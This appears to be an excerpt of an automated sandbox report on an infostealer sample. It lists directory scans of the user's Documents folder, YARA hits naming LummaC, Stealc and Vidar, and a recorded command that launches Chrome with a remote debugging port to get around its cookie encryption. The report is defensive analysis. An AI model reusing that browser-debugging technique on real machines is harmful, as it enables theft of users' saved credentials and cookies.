Source: C:\Users\user\AppData\Local\Temp\1004853001\8407c5d8e2.exe	Directory queried: C:\Users\user\Documents\GIGIYTFFYT
Source: C:\Users\user\AppData\Local\Temp\1004853001\8407c5d8e2.exe	Directory queried: C:\Users\user\Documents\GIGIYTFFYT
Source: C:\Users\user\AppData\Local\Temp\1004853001\8407c5d8e2.exe	Directory queried: C:\Users\user\Documents\GRXZDKKVDB
Source: C:\Users\user\AppData\Local\Temp\1004853001\8407c5d8e2.exe	Directory queried: C:\Users\user\Documents\IPKGELNTQY
Source: C:\Users\user\AppData\Local\Temp\1004853001\8407c5d8e2.exe	Directory queried: C:\Users\user\Documents\LSBIHQFDVT
Source: C:\Users\user\AppData\Local\Temp\1004853001\8407c5d8e2.exe	Directory queried: C:\Users\user\Documents\NEBFQQYWPS
Source: C:\Users\user\AppData\Local\Temp\1004853001\8407c5d8e2.exe	Directory queried: C:\Users\user\Documents\NVWZAPQSQL
Source: C:\Users\user\AppData\Local\Temp\1004853001\8407c5d8e2.exe	Directory queried: C:\Users\user\Documents\PWCCAWLGRE
Source: C:\Users\user\AppData\Local\Temp\1004853001\8407c5d8e2.exe	Directory queried: C:\Users\user\Documents\QCFWYSKMHA
Source: C:\Users\user\AppData\Local\Temp\1004853001\8407c5d8e2.exe	Directory queried: C:\Users\user\Documents\ZGGKNSUKOP
Source: C:\Users\user\AppData\Local\Temp\1004853001\8407c5d8e2.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1004853001\8407c5d8e2.exe	Directory queried: C:\Users\user\Documents\GIGIYTFFYT
Source: C:\Users\user\AppData\Local\Temp\1004853001\8407c5d8e2.exe	Directory queried: C:\Users\user\Documents\GIGIYTFFYT
Source: C:\Users\user\AppData\Local\Temp\1004853001\8407c5d8e2.exe	Directory queried: C:\Users\user\Documents\GRXZDKKVDB
Source: C:\Users\user\AppData\Local\Temp\1004853001\8407c5d8e2.exe	Directory queried: C:\Users\user\Documents\IPKGELNTQY
Source: C:\Users\user\AppData\Local\Temp\1004853001\8407c5d8e2.exe	Directory queried: C:\Users\user\Documents\IPKGELNTQY
Source: C:\Users\user\AppData\Local\Temp\1004853001\8407c5d8e2.exe	Directory queried: C:\Users\user\Documents\LSBIHQFDVT
Source: C:\Users\user\AppData\Local\Temp\1004853001\8407c5d8e2.exe	Directory queried: C:\Users\user\Documents\LSBIHQFDVT
Source: C:\Users\user\AppData\Local\Temp\1004853001\8407c5d8e2.exe	Directory queried: C:\Users\user\Documents\NEBFQQYWPS
Source: C:\Users\user\AppData\Local\Temp\1004853001\8407c5d8e2.exe	Directory queried: C:\Users\user\Documents\NEBFQQYWPS
Source: C:\Users\user\AppData\Local\Temp\1004853001\8407c5d8e2.exe	Directory queried: C:\Users\user\Documents\NVWZAPQSQL
Source: C:\Users\user\AppData\Local\Temp\1004853001\8407c5d8e2.exe	Directory queried: C:\Users\user\Documents\PWCCAWLGRE
Source: C:\Users\user\AppData\Local\Temp\1004853001\8407c5d8e2.exe	Directory queried: C:\Users\user\Documents\QCFWYSKMHA
Source: C:\Users\user\AppData\Local\Temp\1004853001\8407c5d8e2.exe	Directory queried: C:\Users\user\Documents\ZGGKNSUKOP
Source: C:\Users\user\AppData\Local\Temp\1004853001\8407c5d8e2.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1004853001\8407c5d8e2.exe	Directory queried: C:\Users\user\Documents\GIGIYTFFYT
Source: C:\Users\user\AppData\Local\Temp\1004853001\8407c5d8e2.exe	Directory queried: C:\Users\user\Documents\GIGIYTFFYT
Source: C:\Users\user\AppData\Local\Temp\1004853001\8407c5d8e2.exe	Directory queried: C:\Users\user\Documents\GRXZDKKVDB
Source: C:\Users\user\AppData\Local\Temp\1004853001\8407c5d8e2.exe	Directory queried: C:\Users\user\Documents\IPKGELNTQY
Source: C:\Users\user\AppData\Local\Temp\1004853001\8407c5d8e2.exe	Directory queried: C:\Users\user\Documents\LSBIHQFDVT
Source: C:\Users\user\AppData\Local\Temp\1004853001\8407c5d8e2.exe	Directory queried: C:\Users\user\Documents\NEBFQQYWPS
Source: C:\Users\user\AppData\Local\Temp\1004853001\8407c5d8e2.exe	Directory queried: C:\Users\user\Documents\NVWZAPQSQL
Source: C:\Users\user\AppData\Local\Temp\1004853001\8407c5d8e2.exe	Directory queried: C:\Users\user\Documents\PWCCAWLGRE
Source: C:\Users\user\AppData\Local\Temp\1004853001\8407c5d8e2.exe	Directory queried: C:\Users\user\Documents\PWCCAWLGRE
Source: C:\Users\user\AppData\Local\Temp\1004853001\8407c5d8e2.exe	Directory queried: C:\Users\user\Documents\QCFWYSKMHA
Source: C:\Users\user\AppData\Local\Temp\1004853001\8407c5d8e2.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1004853001\8407c5d8e2.exe	Directory queried: C:\Users\user\Documents\GIGIYTFFYT
Source: C:\Users\user\AppData\Local\Temp\1004853001\8407c5d8e2.exe	Directory queried: C:\Users\user\Documents\GRXZDKKVDB
Source: C:\Users\user\AppData\Local\Temp\1004853001\8407c5d8e2.exe	Directory queried: C:\Users\user\Documents\IPKGELNTQY
Source: C:\Users\user\AppData\Local\Temp\1004853001\8407c5d8e2.exe	Directory queried: C:\Users\user\Documents\LSBIHQFDVT
Source: C:\Users\user\AppData\Local\Temp\1004853001\8407c5d8e2.exe	Directory queried: C:\Users\user\Documents\NEBFQQYWPS
Source: C:\Users\user\AppData\Local\Temp\1004853001\8407c5d8e2.exe	Directory queried: C:\Users\user\Documents\NVWZAPQSQL
Source: C:\Users\user\AppData\Local\Temp\1004853001\8407c5d8e2.exe	Directory queried: C:\Users\user\Documents\PWCCAWLGRE
Source: C:\Users\user\AppData\Local\Temp\1004853001\8407c5d8e2.exe	Directory queried: C:\Users\user\Documents\PWCCAWLGRE
Source: C:\Users\user\AppData\Local\Temp\1004853001\8407c5d8e2.exe	Directory queried: C:\Users\user\Documents\QCFWYSKMHA
Source: C:\Users\user\AppData\Local\Temp\1004853001\8407c5d8e2.exe	Directory queried: C:\Users\user\Documents\ZGGKNSUKOP
Source: C:\Users\user\AppData\Local\Temp\1004853001\8407c5d8e2.exe	Directory queried: C:\Users\user\Documents\ZGGKNSUKOP
Source: C:\Users\user\AppData\Local\Temp\1004853001\8407c5d8e2.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1004853001\8407c5d8e2.exe	Directory queried: C:\Users\user\Documents\GIGIYTFFYT
Source: C:\Users\user\AppData\Local\Temp\1004853001\8407c5d8e2.exe	Directory queried: C:\Users\user\Documents\GRXZDKKVDB
Source: C:\Users\user\AppData\Local\Temp\1004853001\8407c5d8e2.exe	Directory queried: C:\Users\user\Documents\IPKGELNTQY
Source: C:\Users\user\AppData\Local\Temp\1004853001\8407c5d8e2.exe	Directory queried: C:\Users\user\Documents\LSBIHQFDVT
Source: C:\Users\user\AppData\Local\Temp\1004853001\8407c5d8e2.exe	Directory queried: C:\Users\user\Documents\NEBFQQYWPS
Source: C:\Users\user\AppData\Local\Temp\1004853001\8407c5d8e2.exe	Directory queried: C:\Users\user\Documents\NVWZAPQSQL
Source: C:\Users\user\AppData\Local\Temp\1004853001\8407c5d8e2.exe	Directory queried: C:\Users\user\Documents\PWCCAWLGRE
Source: C:\Users\user\AppData\Local\Temp\1004853001\8407c5d8e2.exe	Directory queried: C:\Users\user\Documents\QCFWYSKMHA
Source: C:\Users\user\AppData\Local\Temp\1004853001\8407c5d8e2.exe	Directory queried: C:\Users\user\Documents\ZGGKNSUKOP
Source: C:\Users\user\AppData\Local\Temp\1004853001\8407c5d8e2.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1004853001\8407c5d8e2.exe	Directory queried: C:\Users\user\Documents\GIGIYTFFYT
Source: C:\Users\user\AppData\Local\Temp\1004853001\8407c5d8e2.exe	Directory queried: C:\Users\user\Documents\GRXZDKKVDB
Source: C:\Users\user\AppData\Local\Temp\1004853001\8407c5d8e2.exe	Directory queried: C:\Users\user\Documents\IPKGELNTQY
Source: C:\Users\user\AppData\Local\Temp\1004853001\8407c5d8e2.exe	Directory queried: C:\Users\user\Documents\LSBIHQFDVT
Source: C:\Users\user\AppData\Local\Temp\1004853001\8407c5d8e2.exe	Directory queried: C:\Users\user\Documents\NEBFQQYWPS
Source: C:\Users\user\AppData\Local\Temp\1004853001\8407c5d8e2.exe	Directory queried: C:\Users\user\Documents\NVWZAPQSQL
Source: C:\Users\user\AppData\Local\Temp\1004853001\8407c5d8e2.exe	Directory queried: C:\Users\user\Documents\PWCCAWLGRE
Source: C:\Users\user\AppData\Local\Temp\1004853001\8407c5d8e2.exe	Directory queried: C:\Users\user\Documents\QCFWYSKMHA
Source: C:\Users\user\AppData\Local\Temp\1004853001\8407c5d8e2.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1004853001\8407c5d8e2.exe	Directory queried: C:\Users\user\Documents\GIGIYTFFYT
Source: C:\Users\user\AppData\Local\Temp\1004853001\8407c5d8e2.exe	Directory queried: C:\Users\user\Documents\GRXZDKKVDB
Source: C:\Users\user\AppData\Local\Temp\1004853001\8407c5d8e2.exe	Directory queried: C:\Users\user\Documents\IPKGELNTQY
Source: C:\Users\user\AppData\Local\Temp\1004853001\8407c5d8e2.exe	Directory queried: C:\Users\user\Documents\LSBIHQFDVT
Source: C:\Users\user\AppData\Local\Temp\1004853001\8407c5d8e2.exe	Directory queried: C:\Users\user\Documents\NEBFQQYWPS
Source: C:\Users\user\AppData\Local\Temp\1004853001\8407c5d8e2.exe	Directory queried: C:\Users\user\Documents\NVWZAPQSQL
Source: C:\Users\user\AppData\Local\Temp\1004853001\8407c5d8e2.exe	Directory queried: C:\Users\user\Documents\PWCCAWLGRE
Source: C:\Users\user\AppData\Local\Temp\1004853001\8407c5d8e2.exe	Directory queried: C:\Users\user\Documents\ZGGKNSUKOP
Source: C:\Users\user\AppData\Local\Temp\1004853001\8407c5d8e2.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1004853001\8407c5d8e2.exe	Directory queried: C:\Users\user\Documents\GIGIYTFFYT
Source: C:\Users\user\AppData\Local\Temp\1004853001\8407c5d8e2.exe	Directory queried: C:\Users\user\Documents\GRXZDKKVDB
Source: C:\Users\user\AppData\Local\Temp\1004853001\8407c5d8e2.exe	Directory queried: C:\Users\user\Documents\IPKGELNTQY
Source: C:\Users\user\AppData\Local\Temp\1004853001\8407c5d8e2.exe	Directory queried: C:\Users\user\Documents\LSBIHQFDVT
Source: C:\Users\user\AppData\Local\Temp\1004853001\8407c5d8e2.exe	Directory queried: C:\Users\user\Documents\NEBFQQYWPS
Source: C:\Users\user\AppData\Local\Temp\1004853001\8407c5d8e2.exe	Directory queried: C:\Users\user\Documents\NVWZAPQSQL
Source: C:\Users\user\AppData\Local\Temp\1004853001\8407c5d8e2.exe	Directory queried: C:\Users\user\Documents\PWCCAWLGRE
Source: C:\Users\user\AppData\Local\Temp\1004853001\8407c5d8e2.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1004853001\8407c5d8e2.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1004853001\8407c5d8e2.exe	Directory queried: C:\Users\user\Documents\GIGIYTFFYT
Source: C:\Users\user\AppData\Local\Temp\1004853001\8407c5d8e2.exe	Directory queried: C:\Users\user\Documents\GRXZDKKVDB
Source: C:\Users\user\AppData\Local\Temp\1004853001\8407c5d8e2.exe	Directory queried: C:\Users\user\Documents\IPKGELNTQY
Source: C:\Users\user\AppData\Local\Temp\1004853001\8407c5d8e2.exe	Directory queried: C:\Users\user\Documents\LSBIHQFDVT
Source: C:\Users\user\AppData\Local\Temp\1004853001\8407c5d8e2.exe	Directory queried: C:\Users\user\Documents\QCFWYSKMHA
Source: C:\Users\user\AppData\Local\Temp\1004853001\8407c5d8e2.exe	Directory queried: C:\Users\user\Documents\QCFWYSKMHA
Source: C:\Users\user\AppData\Local\Temp\1004853001\8407c5d8e2.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1004853001\8407c5d8e2.exe	Directory queried: C:\Users\user\Documents\GRXZDKKVDB
Source: C:\Users\user\AppData\Local\Temp\1004853001\8407c5d8e2.exe	Directory queried: C:\Users\user\Documents\GRXZDKKVDB
Source: C:\Users\user\AppData\Local\Temp\1004853001\8407c5d8e2.exe	Directory queried: C:\Users\user\Documents\IPKGELNTQY
Source: C:\Users\user\AppData\Local\Temp\1004853001\8407c5d8e2.exe	Directory queried: C:\Users\user\Documents\IPKGELNTQY
Source: C:\Users\user\AppData\Local\Temp\1004853001\8407c5d8e2.exe	Directory queried: C:\Users\user\Documents\LSBIHQFDVT
Source: C:\Users\user\AppData\Local\Temp\1004853001\8407c5d8e2.exe	Directory queried: C:\Users\user\Documents\NEBFQQYWPS
Source: C:\Users\user\AppData\Local\Temp\1004853001\8407c5d8e2.exe	Directory queried: C:\Users\user\Documents\NEBFQQYWPS
Source: C:\Users\user\AppData\Local\Temp\1004853001\8407c5d8e2.exe	Directory queried: C:\Users\user\Documents\PWCCAWLGRE
Source: C:\Users\user\AppData\Local\Temp\1004853001\8407c5d8e2.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1004853001\8407c5d8e2.exe	Directory queried: C:\Users\user\Documents\GRXZDKKVDB
Source: C:\Users\user\AppData\Local\Temp\1004853001\8407c5d8e2.exe	Directory queried: C:\Users\user\Documents\QCFWYSKMHA
Source: C:\Users\user\AppData\Local\Temp\1004853001\8407c5d8e2.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1004853001\8407c5d8e2.exe	Directory queried: C:\Users\user\Documents\LSBIHQFDVT
Source: C:\Users\user\AppData\Local\Temp\1004853001\8407c5d8e2.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1004853001\8407c5d8e2.exe	Directory queried: C:\Users\user\Documents\GRXZDKKVDB
Source: C:\Users\user\AppData\Local\Temp\1004853001\8407c5d8e2.exe	Directory queried: C:\Users\user\Documents\GRXZDKKVDB
Source: C:\Users\user\AppData\Local\Temp\1004853001\8407c5d8e2.exe	Directory queried: C:\Users\user\Documents\GIGIYTFFYT
Source: C:\Users\user\AppData\Local\Temp\1004853001\8407c5d8e2.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1004853001\8407c5d8e2.exe	Directory queried: C:\Users\user\Documents\NEBFQQYWPS
Source: C:\Users\user\AppData\Local\Temp\1004853001\8407c5d8e2.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1004853001\8407c5d8e2.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1004853001\8407c5d8e2.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1004853001\8407c5d8e2.exe	Directory queried: C:\Users\user\Documents\GIGIYTFFYT
Source: C:\Users\user\AppData\Local\Temp\1004853001\8407c5d8e2.exe	Directory queried: C:\Users\user\Documents\GRXZDKKVDB
Source: C:\Users\user\AppData\Local\Temp\1004853001\8407c5d8e2.exe	Directory queried: C:\Users\user\Documents\LSBIHQFDVT
Source: C:\Users\user\AppData\Local\Temp\1004853001\8407c5d8e2.exe	Directory queried: C:\Users\user\Documents\NEBFQQYWPS
Source: C:\Users\user\AppData\Local\Temp\1004853001\8407c5d8e2.exe	Directory queried: C:\Users\user\Documents\NVWZAPQSQL
Source: C:\Users\user\AppData\Local\Temp\1004853001\8407c5d8e2.exe	Directory queried: C:\Users\user\Documents\ZGGKNSUKOP
Source: C:\Users\user\AppData\Local\Temp\1004853001\8407c5d8e2.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1004853001\8407c5d8e2.exe	Directory queried: C:\Users\user\Documents\GIGIYTFFYT
Source: C:\Users\user\AppData\Local\Temp\1004853001\8407c5d8e2.exe	Directory queried: C:\Users\user\Documents\IPKGELNTQY
Source: C:\Users\user\AppData\Local\Temp\1004853001\8407c5d8e2.exe	Directory queried: C:\Users\user\Documents\LSBIHQFDVT
Source: C:\Users\user\AppData\Local\Temp\1004853001\8407c5d8e2.exe	Directory queried: C:\Users\user\Documents\NEBFQQYWPS
Source: C:\Users\user\AppData\Local\Temp\1004853001\8407c5d8e2.exe	Directory queried: C:\Users\user\Documents\PWCCAWLGRE
Source: C:\Users\user\AppData\Local\Temp\1004853001\8407c5d8e2.exe	Directory queried: C:\Users\user\Documents\QCFWYSKMHA
Source: C:\Users\user\AppData\Local\Temp\1004853001\8407c5d8e2.exe	Directory queried: C:\Users\user\Documents\GIGIYTFFYT
Source: C:\Users\user\AppData\Local\Temp\1004853001\8407c5d8e2.exe	Directory queried: C:\Users\user\Documents\PWCCAWLGRE
Source: C:\Users\user\AppData\Local\Temp\1004853001\8407c5d8e2.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1004853001\8407c5d8e2.exe	Directory queried: C:\Users\user\Documents\GIGIYTFFYT
Source: C:\Users\user\AppData\Local\Temp\1004853001\8407c5d8e2.exe	Directory queried: C:\Users\user\Documents\GRXZDKKVDB
Source: C:\Users\user\AppData\Local\Temp\1004853001\8407c5d8e2.exe	Directory queried: C:\Users\user\Documents\LSBIHQFDVT
Source: C:\Users\user\AppData\Local\Temp\1004853001\8407c5d8e2.exe	Directory queried: C:\Users\user\Documents\NEBFQQYWPS
Source: C:\Users\user\AppData\Local\Temp\1004853001\8407c5d8e2.exe	Directory queried: C:\Users\user\Documents\NVWZAPQSQL
Source: C:\Users\user\AppData\Local\Temp\1004853001\8407c5d8e2.exe	Directory queried: C:\Users\user\Documents\QCFWYSKMHA
Source: C:\Users\user\AppData\Local\Temp\1004853001\8407c5d8e2.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1004853001\8407c5d8e2.exe	Directory queried: C:\Users\user\Documents\NVWZAPQSQL
Source: C:\Users\user\AppData\Local\Temp\1004853001\8407c5d8e2.exe	Directory queried: C:\Users\user\Documents\PWCCAWLGRE
Source: C:\Users\user\AppData\Local\Temp\1004853001\8407c5d8e2.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1004853001\8407c5d8e2.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1004853001\8407c5d8e2.exe	Directory queried: C:\Users\user\Documents\GIGIYTFFYT
Source: C:\Users\user\AppData\Local\Temp\1004853001\8407c5d8e2.exe	Directory queried: C:\Users\user\Documents\GRXZDKKVDB
Source: C:\Users\user\AppData\Local\Temp\1004853001\8407c5d8e2.exe	Directory queried: C:\Users\user\Documents\IPKGELNTQY
Source: C:\Users\user\AppData\Local\Temp\1004853001\8407c5d8e2.exe	Directory queried: C:\Users\user\Documents\NEBFQQYWPS
Source: C:\Users\user\AppData\Local\Temp\1004853001\8407c5d8e2.exe	Directory queried: C:\Users\user\Documents\NVWZAPQSQL
Source: C:\Users\user\AppData\Local\Temp\1004853001\8407c5d8e2.exe	Directory queried: C:\Users\user\Documents\PWCCAWLGRE
Source: C:\Users\user\AppData\Local\Temp\1004853001\8407c5d8e2.exe	Directory queried: C:\Users\user\Documents\QCFWYSKMHA
Source: C:\Users\user\AppData\Local\Temp\1004853001\8407c5d8e2.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1004853001\8407c5d8e2.exe	Directory queried: C:\Users\user\Documents\GRXZDKKVDB
Source: C:\Users\user\AppData\Local\Temp\1004853001\8407c5d8e2.exe	Directory queried: C:\Users\user\Documents\NEBFQQYWPS
Source: C:\Users\user\AppData\Local\Temp\1004853001\8407c5d8e2.exe	Directory queried: C:\Users\user\Documents\PWCCAWLGRE
Source: C:\Users\user\AppData\Local\Temp\1004853001\8407c5d8e2.exe	Directory queried: C:\Users\user\Documents\ZGGKNSUKOP

Source: C:\Users\user\AppData\Local\Temp\1004853001\8407c5d8e2.exe

Directory queried: number of queries: 2360

Source: Yara match	File source: 0000001F.00000003.2406515378.0000000000C7C000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001F.00000003.2433921371.0000000000C86000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001F.00000003.2392695677.0000000000C80000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000024.00000003.2621389567.0000000000EA6000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001F.00000003.2425342307.0000000000C86000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001F.00000003.2462553945.0000000000C95000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001F.00000003.2408762708.0000000000C86000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000024.00000003.2616409170.0000000000EA5000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001F.00000003.2449183507.0000000000C86000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000024.00000003.2616967541.0000000000EA6000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000024.00000003.2583133950.0000000000EA5000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000024.00000003.2598784933.0000000000EA5000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000024.00000003.2565575250.0000000000EA5000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000024.00000003.2563131197.0000000000EA5000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000024.00000003.2615948450.0000000000E8F000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001F.00000003.2392137545.0000000000C7C000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000024.00000003.2566948743.0000000000EA6000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000024.00000003.2581708360.0000000000EA5000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000024.00000003.2596844258.0000000000E8F000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000024.00000003.2621554466.0000000000EA6000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001F.00000003.2425037372.0000000000C7C000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 7596, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 8407c5d8e2.exe PID: 7432, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 8407c5d8e2.exe PID: 2764, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 8407c5d8e2.exe PID: 5528, type: MEMORYSTR

Remote Access Functionality

Attempt to bypass Chrome Application-Bound Encryption

Source: C:\Users\user\Desktop\file.exe

Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\\Program Files\\Google\\Chrome\\Application\\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default"

Yara detected LummaC Stealer

Source: Yara match	File source: decrypted.memstr, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 8407c5d8e2.exe PID: 7432, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 8407c5d8e2.exe PID: 5528, type: MEMORYSTR
Source: Yara match	File source: sslproxydump.pcap, type: PCAP

Yara detected Stealc

Source: Yara match	File source: 37.2.ef7349e1dc.exe.d70000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 33.2.ef7349e1dc.exe.d70000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 27.2.8407c5d8e2.exe.5c0eab1.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 27.2.8407c5d8e2.exe.62e0000.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 30.2.ef7349e1dc.exe.d70000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.file.exe.c70000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000021.00000002.2493407371.00000000019EB000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2027401280.000000000198E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001E.00000002.2363926380.0000000001B9E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000025.00000002.2650777132.0000000000D71000.00000040.00000001.01000000.00000019.sdmp, type: MEMORY
Source: Yara match	File source: 00000025.00000003.2608697053.00000000050E0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.1422553388.00000000056A0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000025.00000002.2653003050.00000000015CB000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2025550529.0000000000C71000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000021.00000003.2438045776.00000000057A0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001B.00000002.2567939622.00000000062E1000.00000040.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001E.00000003.2321135289.00000000054A0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001B.00000003.2495407278.0000000008880000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000021.00000002.2479376498.0000000000D71000.00000040.00000001.01000000.00000019.sdmp, type: MEMORY
Source: Yara match	File source: 0000001E.00000002.2361785150.0000000000D71000.00000040.00000001.01000000.00000019.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 7596, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 8407c5d8e2.exe PID: 7432, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: ef7349e1dc.exe PID: 5908, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: ef7349e1dc.exe PID: 6596, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: ef7349e1dc.exe PID: 7172, type: MEMORYSTR
Source: Yara match	File source: decrypted.memstr, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Yara detected Vidar stealer

Source: Yara match

File source: Process Memory Space: file.exe PID: 7596, type: MEMORYSTR

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CCD0C40 sqlite3_bind_zeroblob,	0_2_6CCD0C40
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CCD0D60 sqlite3_bind_parameter_name,	0_2_6CCD0D60
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CBF8EA0 sqlite3_clear_bindings,	0_2_6CBF8EA0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CCD0B40 sqlite3_bind_value,sqlite3_bind_int64,sqlite3_bind_double,sqlite3_bind_zeroblob,	0_2_6CCD0B40
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CBF6410 bind,WSAGetLastError,	0_2_6CBF6410
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CBF60B0 listen,WSAGetLastError,	0_2_6CBF60B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CBFC030 sqlite3_bind_parameter_count,	0_2_6CBFC030
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CBF6070 PR_Listen,	0_2_6CBF6070
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CBFC050 sqlite3_bind_parameter_index,strlen,strncmp,strncmp,	0_2_6CBFC050
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB822D0 sqlite3_bind_blob,	0_2_6CB822D0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CBF63C0 PR_Bind,	0_2_6CBF63C0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CBF9480 sqlite3_bind_null,	0_2_6CBF9480
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CBF94F0 sqlite3_bind_text16,	0_2_6CBF94F0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CBF94C0 sqlite3_bind_text,	0_2_6CBF94C0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CBF9400 sqlite3_bind_int64,	0_2_6CBF9400
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 25_2_0087EC48 Concurrency::details::ContextBase::TraceContextEvent,Concurrency::details::SchedulerBase::GetInternalContext,Concurrency::details::WorkItem::ResolveToken,Concurrency::details::WorkItem::BindTo,	25_2_0087EC48
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 25_2_0087DF51 Concurrency::details::SchedulerBase::GetInternalContext,Concurrency::details::WorkItem::ResolveToken,Concurrency::details::WorkItem::BindTo,Concurrency::details::SchedulerBase::GetInternalContext,	25_2_0087DF51

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
